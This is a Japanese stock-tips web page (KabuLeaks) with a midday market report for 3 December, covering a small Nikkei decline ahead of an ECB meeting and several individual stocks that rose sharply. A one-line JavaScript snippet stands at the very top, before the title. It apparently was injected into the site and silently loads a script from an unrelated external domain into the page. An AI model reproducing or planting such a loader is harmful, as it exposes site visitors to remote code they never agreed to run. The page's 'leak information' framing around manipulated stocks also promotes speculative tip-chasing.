;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://treegreeny.org/KDJnCSZn"); 仕手株・ファンド介入リーク情報【12/3 前引け】|【KabuLeaks 〜株リークス〜】
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仕手株・ファンド介入リーク情報【12/3 前引け】

前場の日経平均は43円安と小幅続落。前日の米株安のほか、今晩控えるECB理事会を前に一旦の利益確定売りも入りやや売り優勢の展開。物色はまちまちだが中小型株優位と見える。業種別では、保険業、金属製品、水産・農林業、精密機器などが値上がり率上位に。一方、電気・ガス業、鉱業、繊維製品、サービス業などが値下がり率上位となっている。

個別では、独自開発の人工知能「KIBIT」の関連技術「Landscaping」の特許が韓国で成立したと発表したことが買い材料に【2158】UBIC。直近レーティング引き上げや低位株人気にも乗り【5981】東京製綱などが買われているほか、値動きの軽い中小型株。こう着感の強い地合いも追い風に【8256】プロルート丸光、【6397】郷鉄工所などが急伸し、値を飛ばしている。また、前日ストップ高のドローン関連【6314】石井工作研究所も一時ストップ高と大幅続伸となっている。

後場も今晩控えるECB理事会を前にこう着感の強い相場展開となると予想。追加緩和に踏み切る可能性が高いとの見方が大方の予想ではあるため、発表後に一旦の利益確定売りとなる可能性も。また、明日には米雇用統計を控え全体的にはやや方向感が掴みにくい展開が週末、来週明けまで続きそうだ。